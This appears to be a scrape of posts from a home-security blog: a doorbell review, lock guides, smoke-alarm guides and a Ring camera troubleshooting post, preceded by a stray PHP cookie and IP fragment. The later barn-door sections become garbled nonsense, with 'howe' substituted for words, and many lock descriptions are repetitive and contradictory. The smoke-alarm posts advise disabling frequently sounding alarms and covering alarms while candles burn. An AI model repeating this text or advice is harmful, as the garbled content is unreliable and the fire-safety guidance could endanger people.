setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; 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And want to keep an eye on the front door operations? The only solution to all of your privacy and security problems is installing a smart doorbell at your apartment front door.  Smart doorbells have a camera that instantly reports who’s at the ... Read more

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Are you concerned about your family’s security when not at your apartment? And want to keep an eye on the front door operations?

The only solution to all of your privacy and security problems is installing a smart doorbell at your apartment front door. 

Smart doorbells have a camera that instantly reports who’s at the door even when the bell is not pressed. Besides, you can also talk to the visitor through a device when you can’t get to the door or are not available at home.

We have spent nearly 42 hours testing these doorbells to ensure you get the best value from our list of the 7 best apartment doorbells for renters. So without further ado, let’s find the perfect product for yourself.

Which Are The Best Apartment Doorbells For Renters?

1. Google Nest Doorbell

  • Resolution: 1080p
  • Field of view: 160-degree
  • Two way audio: Yes
  • Live View: Yes
  • Subscription: Free
  • Motion Detection: Yes

If you’re seeking top-notch security and peace of mind from your apartment doorbell, the Google Nest Doorbell is a dream come true. It has quality features that let you enjoy comfort against intruders while you’re not home.

This doorbell functions on the next level, informing you who’s at the door even when the bell is not rung. This way, you will have detailed info about who’s keeping an eye on you and guests visiting your apartment.

No need to get into the fuss of wires because it’s a wireless device. Just place it on the door and connect it with your device, making installation a piece of cake. 

Moreover, the night vision technology gives you crystal clear footage during the night, so you don’t miss out on a single detail. You can even talk to the visitors and save pre-recorded messages when not at the apartment.

The best part is that you can check in live video of the door 24/7 from any part of the world. It also gives you the audacity to see what happens 3 hours back by checking out the history. Amazing stuff! Right?

I am certain that once you get your hands over this doorbell, you will never stop praising its qualities. The camera is stellar and records everything you need to see, like a person from head to toe and even the parcel on the ground.

As a side note, it doesn’t work with Google Home App; you’ll need to install the Nest app to operate it. In verdict, this Google Nest doorbell is the best choice if you want to take your apartment security to the next level. 

Pros
  • Records HDR video 24/7
  • AI Human Detection
  • Night vision technology 
  • Two-way audio
  • Easy to install and use
Cons
  • It may not connect with old indoor chimes

2. Blink Video Doorbell

  • Resolution: 1080p
  • Field of view: 135-degree
  • Two way audio: Yes
  • Live View: Yes
  • Subscription: Paid
  • Motion Detection: Yes

When searching for the best apartment doorbells for renters, you can’t find the best product other than Blink Video Doorbell. This video doorbell has a 1080p camera that records everything to keep you updated on what’s happening around your apartment. 

It works with a zero-tolerance policy for intruders and lets you know straight if someone is sneaking through the door. In short, it never fails to capture suspicious activities, ensuring top-notch security of the apartment.

You can only operate it with the Blink App. Moreover, if you wish to save videos and watch recordings later of the doorbell camera, you need to purchase the Blink subscription plan. (Here’s a guide i compiled that will help you use blink device without a subscription plan)

Besides, it also works with the Alexa app and lets you talk to the visitors through Alexa. As far as the installation is concerned, it accommodates existing doorbell wiring to sound your in-home chime. Furthermore, you can also install it wirelessly.

It comes packed with two Lithium batteries that can easily cover a period of two years. Thus, eliminating the struggle of charging when the power goes off. The night vision technology never stops recording crystal clear videos even when the light is dim.

It can be purchased in two colors, including black and white. You can choose the one that suits you best. Lastly, if your primary concern is to check on the happening around your apartment door for security, this product is your best choice. 

Pros
  • It has a 1080p quality camera
  • Infrared night vision technology
  • Battery life is up to two years
  • Two-way audio and live view
  • Easy to install
Cons
  • The mount doesn’t work well

3. AOSU Doorbell Camera Wireless

  • Resolution: 2k
  • Field of view: 166-degree
  • Two way audio: Yes
  • Live View: Yes
  • Subscription: Free
  • Motion Detection: Yes

If your primary concern is the safety of your loved ones, especially when you mostly stay outside, the AOSU doorbell is what you need. It has a 5MP camera that records explicit videos with a field view of 166-degree.

Nothing will stay out of your loop because it captures all you need to see, whether a visitor from head to toe or a parcel waiting on the ground. In short, this doorbell keeps you updated about what’s happening on the door.

The triple motion tracks body movement and heat before a person hits the bell. This way, you will be notified of who’s at the door as fast as possible. This feature helps give you a space of a few seconds to make arrangements if someone important visits your apartment.

The feature that distinguishes it from the competition is its zero-dollar charging policy for a subscription plan. You don’t have to pay anything for a subscription to enjoy unlimited storage because it provides everything free of cost.

On the other hand, most subscription plans charge more than $50 a year, which burdens your wallet. Besides, It comes packed with a battery that delivers extreme performance for up to 180 days on a single charge. You can enjoy 6 months of peace without worrying about the battery.

Moreover, It can withstand extreme weather conditions, eliminating the worry of damage when the weather outside is worse. Another cool thing is that you can get on the video call with visitors if you’re not at home.

The installation is a piece of cake and takes a few minutes to complete. All you need is to connect it with existing doorbell wiring, and boom, you’re done. In verdict, this product is worth purchasing, keeping in mind its quality features.

Pros
  • It has a 5MP quality camera
  • It records videos with a field view of 166-degree
  • Subscription is free
  • Battery life is up to 180 days
Cons
  • Mount is not reliable

4. Ring Video Doorbell Pro

  • Resolution: 2k
  • Field of view: 160-degree
  • Two way audio: Yes
  • Live View: Yes
  • Subscription: Paid
  • Motion Detection: Yes

Sometimes we can’t get to the door to talk to the visitor and don’t know who’s roaming around the apartment when not at home; in both cases, a Ring video doorbell is a great help.

Its high-definition 1080p camera records what’s happening around your apartment and keeps you updated with every detail even when you’re outside. Moreover, the two-way audio lets you talk to the visitor while chilling on the couch, providing as much comfort as possible.

Hold on! Features don’t end here; it has a lot more to offer. Besides, It can keep records for up to 6 months of videos and let you share them with anyone you want. But, here is a catch, you need to buy the subscription to enjoy this feature.

It is super easy to install, and all you need is to make connections with existing doorbell wiring-no need to do something extraordinary. It works with the Ring app, so you need to download it on a device to operate the doorbell.

Another cool thing is you can connect this doorbell to Alexa and talk to visitors through Alexa by saying, “Alexa, who’s at the door.” To say the least, this device is an effective approach toward making homes as digitized as possible.

Furthermore, it comes with dual-band WiFi that never interrupt your proceedings by providing a robust and reliable connection. With that said, this product is what you need to enjoy complete control over your apartment’s front door.

If you’re wondering how much Ring doorbell battery last, you can give this guide a read to get the answer.

Pros
  • It has a 1080p high definition camera
  • It comes with dual-band WiFi
  • Two-way audio and infrared night vision
  • Easy to install and use
Cons
  • Useful features come on paid subscription

5. Eufy Security Wi-Fi Video Doorbell

  • Resolution: 2k
  • Field of view: 96-degree
  • Two way audio: Yes
  • Live View: Yes
  • Subscription: Free
  • Motion Detection: Yes

The next product on the list of best apartment doorbells for renters is Eufy Security Wi-Fi Video Doorbell. First and foremost, It has a high-definition 2k camera that captures clear footage to ensure you don’t miss out on any detail.

With this doorbell, you can enjoy a live view of the front door through your device from any side of the world. It works with a zero-tolerance policy for intruders and alerts you straight if it detects any human movement around your apartment.

This AI system is so accurate that it won’t send false alerts because of a stray cat wandering around your front door. The feature that distinguishes it from the competition is that it comes with an electronic chime.

You can place it on any side of your home to receive ringtone alerts when someone bell at the front door. Besides, you can also customize chime ringtones and sound levels according to your choice.

The installation is super easy as it can accommodate existing doorbell wiring but doesn’t work with the existing chime; you have to connect it with the chime that comes with this doorbell. 

The primary benefit of this product is that it doesn’t charge fees for the subscription because everything it offers is free to use. However, the downside is that it doesn’t support continuous recording.

Furthermore, you can connect this doorbell to Google Assistant and Alexa to check in anytime what’s happening outside your home. Lastly, this product will be your best bet if you want to revolutionize your apartment’s security and front door operations.

Pros
  • The camera capture crips 2k footage
  • Provides Live View of the front door
  • No subscription fees
  • Two-way audio to talk with visitors
  • Super easy to install
Cons
  • Motion detection doesn’t work well

6. Ring Video Doorbell

  • Resolution: 1080p
  • Field of view: 155-degree
  • Two way audio: Yes
  • Live View: Yes
  • Subscription: Paid
  • Motion Detection: Yes

This Ring Video Doorbell is the previous version of Ring Video Doorbell Pro that has been reviewed above. It lacks some features compared to the upgraded version but can still outrank many competitors.

First and foremost, it comes with a 1080p camera that captures crisp videos that you will be proud of. You will recognize who’s at the door straight without focusing on the image for a long time. The night vision technology won’t let the camera stop capturing clear videos during low light conditions.

It alerts the device quickly when someone presses the bell or triggers suspicious movements around your apartments. You can take it as a digital security guard who will always be on duty at the front doors to ensure the safety of persons at home.

Upon purchase of a subscription plan, you will get the comfort of saving all your recorded videos for up to 6 months and sharing them with anyone you want. You have to download the Ring app on any device to operate this doorbell.

As far as the installation is concerned, it is a piece of cake as it accommodates existing doorbell wiring. It comes packed with rechargeable batteries, but you can also connect it with wires for constant power. The batteries could do their part if the power went off accidentally.

Besides, you can also connect this doorbell to Alexa-enabled devices to set announcements and keep a check on happenings outside the front door. In conclusion, this product is the best choice for thoroughly inspecting what’s happening outside the apartment.

Pros
  • It has a 1080p quality camera
  • Two-way audio and night vision
  • Can save videos for up to 6 months
  • Super easy to install
  • It works both with batteries or electricity
Cons
  • Subscription is needed for full function

If you’re having difficulty in seeing the ring doorbell’s footage on TV, you can try the methods on this list to solve the issue


7. MUBVIEW Wireless Doorbell Camera

  • Resolution: 2k
  • Field of view: 145-degree
  • Two way audio: Yes
  • Live View: Yes
  • Subscription: Free
  • Motion Detection: Yes

Summing up our list of best doorbells for apartment renters is MUBVIEW wireless doorbell Camera. Firstly, it comes with a high-definition 2k camera that records even the slightest detail to ensure you will be aware of front door activities.

If someone wanders around your apartment and tries to sneak through the door, it will instantly alert you. Its human detection technology is so accurate that you will never be disturbed when a stray animal or insect passes through the front door.

Thanks to the two-way audio, you can now talk to the visitor when you’re not at home or can’t get to the door. Besides, you can also record messages to quickly respond to visitors no matter where you’re.

A 145-degree field view camera captures even what’s happening around the front door. This way, you can keep an eye on the surroundings to ensure no one can break into the home from any side.

Another cool thing is its night vision technology that helps the camera record crisp video up to 33ft during low light conditions. Moreover, the lifetime warranty is the icing on the cake to give peace of mind while using it.

It comes with a chime to sound your home with pleasant tones on the press of a bell. The installation is as simple as screwing a bulb in the holder. It accommodates existing doorbell wiring but can’t connect with the existing chime; you need to install a new one. 

All these fantastic features make this product worth spending money on, so why not give it a try?

Pros
  • The camera records 2k image
  • Smart Human Detection and two-way audio
  • It comes with a chime
  • Lifetime warranty
  • Easy to Install
Cons
  • Needs SD card to save videos

Best Apartment Doorbells For Renters: Buying Guide

By now, you must get an idea about the best apartment doorbells for renters. But, what factors should you consider in the doorbells to make your purchase a significant value? 

And to help you out in this endeavor, this comprehensive buying guide will describe the factors you must consider when purchasing the best apartment doorbell.

Let’s take a deep look at them.

High Definition Camera

The doorbell camera helps you know what’s happening outside the front door or the area where the doorbell is installed. 

If it’s of low quality, you will have difficulty recognizing visitors and guests who come and wander around your front door. Besides, you will also face problems watching videos in low light conditions.

So, your primary objective should be to purchase a high-definition camera when purchasing the best doorbell for an apartment. This way, you will enjoy clear and crisp footage of your apartment’s front door.

The best part? All the reviewed products in this article have a quality camera that helps you see explicit videos and images of the front door. So, you don’t have to look further; just scroll above and choose the best doorbell for the apartment.

Two Way Audio

Sometimes we find ourselves in situations where we’re not at home or simply can’t get to the door to attend visitors. In this case, a two-way audio feature on the doorbell is a dream come true.

Imagine how special it would be talking to the visitor all while chilling on the couch or working at the office. Well, that’s how two-way audio functions in the doorbell; it lets you talk to your visitor and guest through the device without getting to the door.

Using this feature, you can save pre-recorded messages to respond to visitors quickly. So, to enjoy this comfort in your doorbell, you must consider this factor when purchasing the best apartment doorbell for renters.

AI Human Detection

Imagine how special it would be to know who’s at the door even when the doorbell is not pressed. This way, you will be aware of when someone is spying or sneaking through the door and a parcel on the ground.

So, to enjoy this comfort, you must opt for a doorbell with AI human detection technology. Be sure that doorbell human detection is strong enough that it will not give false alerts when a stray cat or insect passes through the door.

Infrared Night Vision

The doorbell camera with infrared night vision technology can record crisp videos during low light conditions. This helps the camera not to miss out on a single detail even when the light is dim.

If you want to thoroughly inspect what’s happening outside the front door during the night, you should not miss out on this feature on your apartment doorbell. Infrared night vision technology also helps the camera to detect human movement accurately during the night.

Easy To Install

The doorbell that doesn’t accommodate existing doorbell wiring can throw you out and put you in the struggle of setting things from scratch. So, if you want yourself free from this headache, you must choose a doorbell that can connect to existing doorbell wiring. 

This way, your task will become no more than low-hanging fruit. While installing the doorbell, read the instruction guide first to know how to do it. One wrong step can result in a big loss of money.

Besides, some doorbells also come with chimes that help save budget if you don’t have one already attached to your apartment. But, the condition is that you can’t attach the doorbell with an existing chime; you need to install it with a new one.

Frequently Asked Questions

Can I have a smart doorbell in an apartment?

Yes, you can install a smart doorbell in your apartment. You only need to purchase the one from the market and attach it to the existing doorbell wiring. Some doorbells are wireless, reducing installation to just placing them on the door. 

Is there a Ring doorbell for renters?

Ring is a well-known company in the market that produces best-in-class doorbells for homes and rental apartments. You can use the Ring doorbell on your rental apartment because it can easily be fixed on any door. 

Can you put a doorbell camera on a rental?

Yes, you can if there is a space for installing a doorbell, and for some reason, if there is not, you can create it yourself. 

Can you use the Nest doorbell in an apartment?

Yes, you can use Google Nest Doorbell on your apartment doors.

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Do you have a sliding barn door that you want to keep locked? If so, you’re in luck! There are a few different ways that you can go about doing this. In this article, we will discuss few of the most common ways to lock a sliding barn door.

Which are the tested ways to lock a sliding barn door?

1. Install a lock:

One option is to install a lock on the inside of the door. This can be done by drilling a hole through the door and installing a bolt or padlock. This will ensure that the door cannot be opened from the outside, but it does require that someone be present on the inside to unlock it.

2. Install a latch:

Another option is to install a latch on the outside of the door. This can be done by attaching a piece of metal or wood to the door frame with screws or nails. The latch will then fit over the door handle and keep it from being able to be opened.

This option does not require anyone to be present on the inside to unlock the door, but it can be more difficult to open the door from the outside if the latch is not installed properly.

3. Install a keyed lock:

A third option is to install a keyed lock outside the door. This type of lock has a keyhole used to insert a key and turn it, which locks or unlocks the door. This is a good option if you want to be able to lock the door from the outside without someone being present on the inside, but it is essential for you to have a spare key in case you lose the one for the lock.

4. Use a Schlage Barn Door Bolt Lock:

You can use a Schlage barn door bolt lock if you want an easy way to lock your sliding barn door. This type of lock is designed specifically for barn doors and can be installed quickly and easily. A lever operates the lock on the inside of the door, and it has a keyed cylinder on the outside that can be used to lock or unlock the door.

5. 90 Degree Flip Latch:

It is a good choice if you are looking for an easy way to install a lock on your barn door. The 90-degree flip latch has a keyed cylinder on the outside that can be used to lock or unlock the door, and it also has a lever on the inside of the door that allows you to operate the lock.

6. Keyed Barrel Bolt:

This is another great option for locking your barn door from the outside. The keyed barrel bolt has a keyhole on the outside that is used to insert a key and turn it, which locks or unlocks the door.

7. Single Cylinder Rim Lock:

The single-cylinder rim lock has a keyed cylinder on the outside that can be used to lock or unlock the door, and it also has a lever on the inside of the door that allows you to operate the lock.

8. Keyed Deadbolt:

This is a good option if you want to be able to lock your barn door from the outside without someone being present on the inside. The keyed deadbolt has a keyed cylinder on the outside that can be used to lock or unlock the door, and it also has a lever on the inside of the door that allows you to operate the lock.

9. Masterlock Hasp And Padlock:

The Masterlock hasp and padlock has a keyed cylinder on the outside that can be used to lock or unlock the door, and it also has a lever on the inside of the door that allows you to operate the lock.

What are the types of Barn door lock?

There are a few different types of barn door locks that you can choose from, and each one has its advantages and disadvantages. You will need to decide which type of lock is best for your needs and consider the security risks involved with every kind of lock.

Barn Door Lock Installation:

Now that you know how to lock a sliding barn door, you need to know how to install the lock. Depending on the type of lock that you have, the installation process will vary. However, all locks should be installed by a professional locksmith to ensure that they are installed correctly and work properly.

Keyed Cylinder Lock:

The keyed cylinder lock has a keyed cylinder on the outside that can be used to lock or unlock the door, and it also has a lever on the inside of the door that allows you to operate the lock.

However, it is essential to make sure that you have a spare key in case you lose the one for the lock.

Lever Lock:

The lever lock has a keyed cylinder on the outside that can be used to lock or unlock the door, and it also has a lever on the inside of the door that allows you to operate the lock.

However, it is essential to ensure that you have a spare key in case you lose the one for the lock.

Lever Lock Installation:

To install a lever lock, you will need to drill two holes through the door for the bolt to fit into. Once the holes are drilled, you will need to insert the bolts into the holes and then screw them into place. Next, you will need to install the strike plate onto the door frame, and then you can insert the key into the lock and turn it to the locked position.

Padlock:

This type of lock is a good option if you want to be able to lock your barn door from the outside without someone being present on the inside. The padlock has a keyed cylinder on the outside that can be used to lock or unlock the door, and it also has a lever on the inside of the door that allows you to operate the lock.

However, it is essential to make sure that you have a spare key in case you lose the one for the lock.

Padlock Installation:

To install a padlock, you must drill a hole through the door for the shackle to fit into. Once the hole is drilled, you will need to insert the shackle into the hole and then screw it into place. Next, you will need to install the strike plate onto the door frame, and then you can insert the key into the lock and turn it to the locked position.

Homode Barn Door Locks:

This type of lock is a good option if you want to be able to lock your barn door from the outside without someone being present on the inside. The Homode barn door locks have a keyed cylinder on the outside that can be used to lock or unlock the door, and it also has a lever on the inside of the door that allows you to operate the lock.

However, it is important to ensure that you have a spare key in case you lose the one for the lock.

Homode Barn Door Locks Installation:

To install Homode barn door locks, you will need to drill two holes through the door for the bolts to fit into. Once the holes are drilled, you will need to insert the bolts into the holes and then screw them into place. Next, you will need to install the strike plate onto the door frame, and then you can insert the key into the lock and turn it to the locked position.

Sliding Barn Door Deadbolt Lock:

This type of lock is a good option if you want to be able to lock your barn door from the outside without someone being present on the inside. The sliding barn door deadbolt lock has a keyed cylinder on the outside that can be used to lock or unlock the door, and it also has a lever on the inside of the door that allows you to operate the lock.

However, it is essential to make sure that you have a spare key in case you lose the one for the lock.

Sliding Barn Door Deadbolt Lock Installation:

To install a sliding barn door deadbolt lock, you will need to drill two holes through the door for the bolts to fit into. Once the holes are drilled, you will need to insert the bolts into the holes and then screw them into place. Next, you will need to install the strike plate onto the door frame, and then you can insert the key into the lock and turn it to the locked position.

Keyed Locking Hitch Pin:

This type of lock is a good option if you want to be able to lock your barn door from the outside without someone being present on the inside. The keyed locking hitch pin has a keyed cylinder on the outside that can be used to lock or unlock the door, and it also has a lever on the inside of the door that allows you to operate the lock.

However, it is essential to ensure that you have a spare key in case you lose the one for the lock.

Keyed Locking Hitch Pin Installation:

To install a keyed locking hitch pin, you must drill two holes through the door for the bolts to fit into. Once the holes are drilled, you will need to insert the bolts into the holes and then screw them into place. Next, you will need to install the strike plate onto the door frame, and then you can insert the key into the lock and turn it to the locked position.

T-Handle with Deadbolt:

This type of lock is a good option if you want to be able to lock your barn door from the outside without someone being present on the inside. The T-handle with deadbolt has a keyed cylinder on the outside that can be used to lock or unlock the door, and it also has a lever on the inside of the door that allows you to operate the lock.

However, it is important to ensure that you have a spare key in case you lose the one for the lock.

T-Handle with Deadbolt Installation:

To install a T-handle with a deadbolt, you must drill two holes through the door for the bolts to fit into. Once the holes are drilled, you will need to insert the bolts into the holes and then screw them into place. Next, you will need to install the strike plate onto the door frame, and then you can insert the key into the lock and turn it to the locked position.

Keyed Barn Door Lock:

This type of lock is a good option if you want to be able to lock your barn door from the outside without someone being present on the inside. The keyed barn door lock has a keyed cylinder on the outside that can be used to lock or unlock the door. It also has a lever on the inside of the door that allows you to operate. However, it is essential to make sure that you have a spare key in case you lose the one for the lock.

Keyed Barn Door Lock Installation:

To install a keyed barn door lock, you will need to drill two holes through the door for the bolts to fit into. Once the holes are drilled, you will need to insert the bolts into the howes and then screw them into place. Next, you will need to install the strike plate onto the door frame, and then you can insert the key into the lock and turn it to the locked position.

Strap Latch:

This type of lock is a good option if you want to be able to lock your barn door from the outside without someone being present. However, it is essential to make sure that you have a spare key in case you lose the one for the lock.

Strap Latch Installation:

To install a strap latch, you will need to drill two holes through the door for the howes to fit into. Once the howes are drilled, you will need to insert the howes into the howes and then screw them into place. Next, you will need to install the strike plate onto the door frame, and then you can howe the key into the lock and turn it to the locked position.

Barn Door Handle with Lock:

This type of lock is a good option if you want to be able to lock your barn door from howe without someone being present on the inside. The barn door handle with howe has howe cylinder on howe outside that can be used to lock or unlock the door, and it also has a lever on howe inside of the door that allows you to operate the howe.

However, it is essential to make sure that you have a spare key in case you lose the one for the howe.

Barn Door Handle with Lock Installation:

To install a barn door handle with howe, you will need to drill two holes through the door for the howes to fit into. Once the howes are drilled, you will need to insert the howes into the howes and then screw them into place. Next, you will need to install the strike howe onto the door frame, and then you can insert the key into the howe and turn it to the locked howe.

Sliding Barn Door Latch:

The sliding barn door howe has howe cylinder on howe outside that can be used to lock or unlock the door, and it also has a lever on howe inside of the howe that allows you to operate the howe.

However, it is essential to make sure that you have a spare key in case you lose the one for the howe.

Keyed Padlock:

This type of lock is a good option if you want to be able to lock your barn door. However, it is essential to ensure that you have a spare key in case you lose the one for the lock.

Keyed Padlock Installation:

To install a keyed howe, follow these steps:

  1. You will need to drill holes through the door for the howes to fit into.
  2. Once the howes are drilled, you will need to insert the howes into the howes and then screw them into place.
  3. Next, you will need to install the strike howe onto the door frame.
  4. You can insert the key into the howe and turn it to the locked howe.

There are a few howes that you can choose when locking your barn door, and the type of howe that you howese will depend on your howeference. If you want to be able to lock your barn door from howe without someone being present on the inside, then you might want to consider a barn door handle with howe or a sliding barn door howe.

Padlock:

The padlock has a shackle that goes around the door handle or knob and a hasp that you can close to secure the door.

Strap Howe:

To howese a strap howe, you must insert the howe through the hasp and then loop it around the door knob or handle. After the howe is looped around the door knob or handle, you can pull the howetaut and then close the hasp to secure the door.

Conclusion

No matter which method you choose, test it out before relying on it to keep your door locked. You don’t want to be stuck inside or outside your home because the lock doesn’t work!

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How To lock the door from outside https://superhomessecurity.com/how-to-lock-the-door-from-outside/ https://superhomessecurity.com/how-to-lock-the-door-from-outside/#respond Fri, 29 Jul 2022 22:04:25 +0000 https://superhomessecurity.com/?p=543 Locking a door from outside can be difficult, but we have tried some methods to make it happen, Let’s check out some of the ways to lock your door from the outside. Using Key: If you need to lock your door from the outside, there are a few different ways that you can do so. ... Read more

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Locking a door from outside can be difficult, but we have tried some methods to make it happen, Let’s check out some of the ways to lock your door from the outside.

Using Key:

If you need to lock your door from the outside, there are a few different ways that you can do so. One way is to use a key. If you have a key, insert it into the lock and turn it clockwise. This will engage the locking mechanism and keep your door locked.

Using Handle:

Another way to lock your door from the outside is by using a handle. Most handles have a small locking mechanism built into them. To use this, push down on the locking mechanism while you turn the handle. This will engage the locking mechanism and keep your door locked.

Using Floor Barricade:

Another way to secure your door is by using a floor barricade. Floor barricades are devices placed at the bottom of the door and prevent the door from being opened.

Using Security Bar:

You can also use a security bar. Security bars are devices that are placed across the door and prevent the door from being opened. This is a great way to deter burglars and keep your home or business safe.

Using Window Bar:

If you have a window next to your door, you can use a window bar to secure it. Window bars are devices that are placed across the window and prevent it from being opened.

Security Camera:

You can also add a security camera to your door to deter burglars and keep your home or business safe. Security cameras can be purchased at most electronics stores.

Using Chain:

Finally, you can use a chain to lock your door from the outside. Chains are usually found on doors that lead outside a home or business. To use a chain, loop it around the door’s handle and secure it in place with the latch.

Using Belt or Rope:

If you don’t have a chain, you can use a belt or rope to lock your door from the outside. Loop the belt or rope around the door’s handle and secure it in place with the latch. This will keep your door locked and prevent it from being opened.

These are just a few of the ways that you can lock your door from the outside. Using one method, you can keep your home or business safe and secure.

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How To Disconnect Smoke Alarm https://superhomessecurity.com/how-to-disconnect-smoke-alarm/ https://superhomessecurity.com/how-to-disconnect-smoke-alarm/#respond Fri, 22 Jul 2022 18:06:26 +0000 https://superhomessecurity.com/?p=530 If the smoke alarm in your home is going off frequently and you can’t figure out why it may be time to disconnect it. This is especially true if the alarm is more than ten years old. Disconnecting the smoke alarm is a relatively simple process, but it’s essential to follow the steps carefully to ... Read more

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If the smoke alarm in your home is going off frequently and you can’t figure out why it may be time to disconnect it. This is especially true if the alarm is more than ten years old. Disconnecting the smoke alarm is a relatively simple process, but it’s essential to follow the steps carefully to ensure it’s done correctly.

Locate Smoke Alarm:

1. Locate the smoke alarm in your home. It should be mounted on the ceiling or high on a wall.

2. Using a ladder or stool, reach up and unscrew the mounting bracket that holds the smoke alarm. Carefully remove the alarm from its mount.

3. Unscrew the battery compartment cover on the back of the smoke alarm.

4. Remove the batteries from the compartment.

5. Cover the battery compartment with a piece of tape or plastic to prevent accidental activation.

6. Reattach the mounting bracket to the smoke alarm and place the alarm back in its original location.

7. Test the smoke alarm to make sure it’s working correctly. Press and hold the test button for at least 30 seconds to ensure the alarm sounds. You may need to replace the batteries or the entire unit if it doesn’t.

Disengaging the tamper-resistant features

1. Some smoke alarms have tamper-resistant features that prevent them from being easily disconnected. If your smoke alarm has this feature, you’ll need to disengage it before proceeding.

2. Locate the tamper-resistant switch on the back of the smoke alarm. It may be labeled “TR” or “Tamper.”

3. Slide the switch to the “Off” position. This will disengage the tamper-resistant features and allow you to proceed with disconnecting the alarm.

4. Once you’ve disengaged the tamper-resistant features, follow the steps above to remove the batteries and disable the alarm.

Removing an AC hard-wired or interconnected alarm:

1. Locate the smoke alarm in your house

2. Remove the alarm.

3. Remove the batteries from the alarm.

5. Find the power supply for the smoke alarm. It may be located in the electrical panel or nearby junction box.

6. Disconnect the power supply by unscrewing the wires from their terminals. Be sure to turn off the power to the smoke alarm before proceeding.

7. Once the power is disconnected, reattach the mounting bracket to the smoke alarm and place the alarm back in its original location.

9. If the smoke alarm is hard-wired or interconnected with other alarms in your home, you’ll need to disconnect all of them before proceeding. To do this, locate the master control panel for your alarms and disconnect the power supply. Be sure to turn off the power to the panel before proceeding.

Read More:How To Cover A Smoke Alarm For A Candle|How Long Do Smoke Alarm Batteries Last

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How To Cover A Smoke Alarm For A Candle https://superhomessecurity.com/how-to-cover-a-smoke-alarm-for-a-candle/ https://superhomessecurity.com/how-to-cover-a-smoke-alarm-for-a-candle/#respond Wed, 20 Jul 2022 18:35:34 +0000 https://superhomessecurity.com/?p=546 If you’re using candles in your home, it’s important to take measures to prevent fire hazards. One way to do this is to cover your smoke alarm while burning candles. This will help protect your alarm from heat damage and prevent false alarms. To cover your smoke alarm, you’ll need something that is heat-resistant and ... Read more

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If you’re using candles in your home, it’s important to take measures to prevent fire hazards. One way to do this is to cover your smoke alarm while burning candles. This will help protect your alarm from heat damage and prevent false alarms.

To cover your smoke alarm, you’ll need something that is heat-resistant and won’t catch fire easily. A good option is to use an aluminum foil shield. You can also purchase commercial covers that are designed for this purpose.

Before covering your smoke alarm, test it to ensure it’s working properly. Then, place the cover over the sensor area of the alarm. Be sure to leave the test button accessible so you can still test the alarm.

Covering your smoke alarm while burning candles is a simple way to help prevent false alarms and keep your home safe.

How Do Smoke Detectors Work?

Smoke detectors work by sensing particles in the air that indicate a fire. They can be either ionization or photoelectric smoke detectors.

Ionization-type smoke detectors have a small amount of radioactive material that ionizes the air in the detection chamber. This creates a current that flows between two plates. When smoke enters the chamber, it disrupts the flow of ions and triggers the alarm.

Photoelectric type smoke detectors use a light sensor to detect smoke particles in the air. A light-emitting diode shines a light into the detection chamber. When smoke particles enter the chamber, they scatter the light and trigger the alarm.

Why Do You Need to Cover Your Smoke Alarm?

There are several reasons why you might need to cover your smoke alarm. If you’re burning candles, the flame’s heat can damage the sensor in your smoke alarm. This can cause false alarms or prevent the alarm from working properly.

Another reason to cover your smoke alarm is to prevent dust and other particles from getting into the sensor chamber. This can also cause false alarms or reduce the sensitivity of the detector.

Finally, if you’re painting or doing construction work near your smoke alarm, covering it will protect it from paint fumes and debris.

How to Cover Your Smoke Alarm:

There are several ways you can cover your smoke alarm. One option is to use an aluminum foil shield. Cut a piece of foil slightly larger than the face of the smoke detector. Tape the foil in place over the sensor area of the alarm.

Another option is to purchase a commercial smoke alarm cover. These protect your smoke alarm from heat, dust, and debris.

Finally, you can make your smoke alarm cover using a piece of cloth or paper. Cut a circle that is slightly larger than the face of the detector. Tape the cloth or paper over the sensor area of the alarm.

Whatever method you choose, be sure to leave the test button accessible so that you can test the alarm regularly.

Covering your smoke alarm is a simple way to help prevent false alarms and keep your home safe.

How to Put Out a Candle Without Producing Smoke

When you’re finished using a candle, it’s important to put it out properly to prevent smoke damage. The best way to do this is to use a snuffer.

A snuffer is a small device that covers the flame of a candle and extinguishes it. This prevents the formation of soot and smoke.

To use a snuffer, place the cup over the flame and wait for the flame to be extinguished. You can then remove the snuffer and dispose of it properly.

Another way to put out a candle is to dip the wick in water. This will also extinguish the flame and prevent smoke damage.

How Long Do Smoke Alarm Batteries Last

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Why Is My Ring Camera Footage Unavailable? https://superhomessecurity.com/why-is-my-ring-camera-footage-unavailable/ https://superhomessecurity.com/why-is-my-ring-camera-footage-unavailable/#respond Wed, 20 Jul 2022 18:30:36 +0000 https://superhomessecurity.com/?p=549 Something unusual happened at your work or home and you are unable to see the cctv footage? This may make you angry. But before doing anything, you can try few things which we’ve compiled. Reasons why your Ring camera footage might be unavailable Low Batteries: The most common reason is that the batteries in your ... Read more

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Something unusual happened at your work or home and you are unable to see the cctv footage? This may make you angry. But before doing anything, you can try few things which we’ve compiled.

Reasons why your Ring camera footage might be unavailable

Low Batteries:

The most common reason is that the batteries in your cameras are low and need to be replaced. If this is the case, you’ll see a notification in the Ring app asking you to replace the batteries.

Camera Offline:

Another common reason for unavailable footage is that your camera is offline. This can happen if there’s an issue with your internet connection or the power to your home is out. If your camera is offline, you’ll see a notification in the Ring app telling you it’s Offline.

Internet connection is unreliable or slow:

If you’re trying to view your footage on a device connected to the internet via Wi-Fi, make sure that your connection is strong enough to support video streaming. If your connection is weak or slow, you may experience issues with loading or playback.

  1. To check the strength of your connection:
  2. Open the Ring app and go to the Devices tab
  3. Select the camera you’re having trouble with
  4. Look under Connection for the signal strength indicator

If the signal strength indicator is green, that means your connection is good. If it’s yellow, that means your connection is fair. If it’s red, that means your connection is poor.

You may also want to try connecting to a different Wi-Fi network to see if that improves your connection.

Insufficient Power:

Another possible reason why your footage is unavailable is that there isn’t enough power going to your camera. This can happen if you’re using a battery-powered camera and the batteries are low or if you’re using a wired camera and the power supply isn’t strong enough.

To check the power level of your camera:

  1. Open the Ring app and go to the Devices tab
  2. Select the camera you’re having trouble with
